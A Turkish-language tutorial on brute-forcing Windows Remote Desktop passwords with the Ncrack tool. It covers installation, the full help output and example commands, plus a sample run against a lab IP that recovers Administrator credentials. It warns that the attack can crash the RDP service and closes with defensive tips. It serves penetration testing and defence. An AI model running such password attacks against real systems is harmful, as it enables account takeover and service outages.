Windows Uzak Masaüstü Servisine Yönelik Brute Force Saldırısı
Ncrack, gelişmiş bir aktif brute force aracıdır. SSH, RDP, HTTP(s), POP3(s), FTP ve telnet gibi bir çok popüler network protokolünü desteklemektedir.RDP desteğinin eklenmesi ile birlikte Windows sistemlerin uzak masaüstü servisine parola denemesi yapan tscrack ve tsgrinder yazılımlarının yerini aldı. Bir çok brute force aracından tek farkı rdp değil aynı zamanda Nmap çıktılarını yorumlayabiliyor ve paralel parola denemeleri gerçekleştirebiliyor.
Kurulumu
Linux / *BSD Sistemlere Kurulum www.nmap.org/ncrack adresinden kaynak kod indirildikden sonra aşağıdaki komutlar ile kurulum yapabiliriz;
tar -xzf ncrack-0.3ALPHA.tar.gz cd ncrack-0.3ALPHA ./configure make su root make install
Windows Sistemlere Kurulum
Windows platformlarda da çalışabilen ncrack yazılımının kurulum dosyasını çalıştırıp, kurulum sihirbazındaki yönergeler takip edilerek kurulum sonlandırılabilir.
Kullanımı
Kullanım parametreleri hakkında bilgi almak için
# ncrack –help Ncrack 0.3ALPHA ( http://ncrack.org ) Usage: ncrack [Options] {target and service specification} TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iX <inputfilename>: Input from Nmap’s -oX XML output format -iN <inputfilename>: Input from Nmap’s -oN Normal output format -iL <inputfilename>: Input from list of hosts/networks –exclude <host1[,host2][,host3],…>: Exclude hosts/networks –excludefile <exclude_file>: Exclude list from file SERVICE SPECIFICATION: Can pass target specific services in <service>://target (standard) notation or using -p which will be applied to all hosts in non-standard notation. Service arguments can be specified to be host-specific, type of service-specific (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000 Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl -p <service-list>: services will be applied to all non-standard notation hosts -m <service>:<options>: options will be applied to all services of this type -g <options>: options will be applied to every service globally Misc options: ssl: enable SSL over this service path <name>: used in modules like HTTP (‘=’ needs escaping if used) TIMING AND PERFORMANCE: Options which take <time> are in seconds, unless you append ‘ms’ (miliseconds), ‘m’ (minutes), or ‘h’ (hours) to the value (e.g. 30m). Service-specific options: cl (min connection limit): minimum number of concurrent parallel connections CL (max connection limit): maximum number of concurrent parallel connections at (authentication tries): authentication attempts per connection cd (connection delay): delay <time> between each connection initiation cr (connection retries): caps number of service connection attempts to (time-out): maximum cracking <time> for service, regardless of success so far -T<0-5>: Set timing template (higher is faster) –connection-limit <number>: threshold for total concurrent connections AUTHENTICATION: -U <filename>: username file -P <filename>: password file –user <username_list>: comma-separated username list –pass <password_list>: comma-separated password list –passwords-first: Iterate password list for each username. Default is opposite. OUTPUT: -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename. -oA <basename>: Output in the two major formats at once -v: Increase verbosity level (use twice or more for greater effect) -d[level]: Set or increase debugging level (Up to 10 is meaningful) –nsock-trace <level>: Set nsock trace level (Valid range: 0 – 10) –log-errors: Log errors/warnings to the normal-format output file –append-output: Append to rather than clobber specified output files MISC: –resume <file>: Continue previously saved session -f: quit cracking service after one found credential -6: Enable IPv6 cracking -sL or –list: only list hosts and services –datadir <dirname>: Specify custom Ncrack data file location -V: Print version number -h: Print this help summary page. MODULES: FTP, SSH, TELNET, HTTP(S), POP3(S) EXAMPLES: ncrack -v –user root localhost:22 ncrack -v -T5 https://192.168.0.1 ncrack -v -iX ~/nmap.xml -g CL=5,to=1h SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLES
Varsayılan olarak parola sözlüğünü /usr/local/share/ncrack/default.pwd dosyasında tutar. Sık kullanılan parametreleri ve açıklamları; -p = protokol –user = spesifik kullanıcı adı –pass = spesifik parola -v = bilgi ver – CL = Paralel olarak tarama yapılacak eş zamanlı maksimum bağlantı sayısı -U = Kullanıcı dosyası -P = Parola dosyası
Örnekler;
ncrack -v –user root localhost:22 ncrack -v -T5 https://192.168.0.1 ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
Microsoft Uzak Masaüstü (RDP) Servisine Parola Denemesi
#ncrack -vv –user Administrator -p rdp 192.168.5.37 Starting Ncrack 0.3ALPHA ( http://ncrack.org ) at 2011-04-13 10:30 EDT rdp://192.168.5.37:3389 Valid credentials, however, another user is currently logged on. Discovered credentials on rdp://192.168.5.37:3389 ‘Administrator‘ ‘ozanus‘
Saldırı aşamasında svchost.exe’nin çok yüksek CPU kullandığı ve mstsc servisinin çöktüğü gözlemlenmiştir.Hedef sistemde başarılı bir bruteforse saldırısı yapılamasa bile, bir servis dışı bırakma saldırısına yol açılabilir.
Korunma Yolları
- Local policy ile eş zamanlı bağlantı sayısını sınırlandırın
- RDP portunu değiştirin (varsayılan olarak 3389)
- RDP kullanıcısını tahmin edilmesi zor bir kullanıcı seçin
- RDP parolasını tahmin edilmesi zor bir parola seçin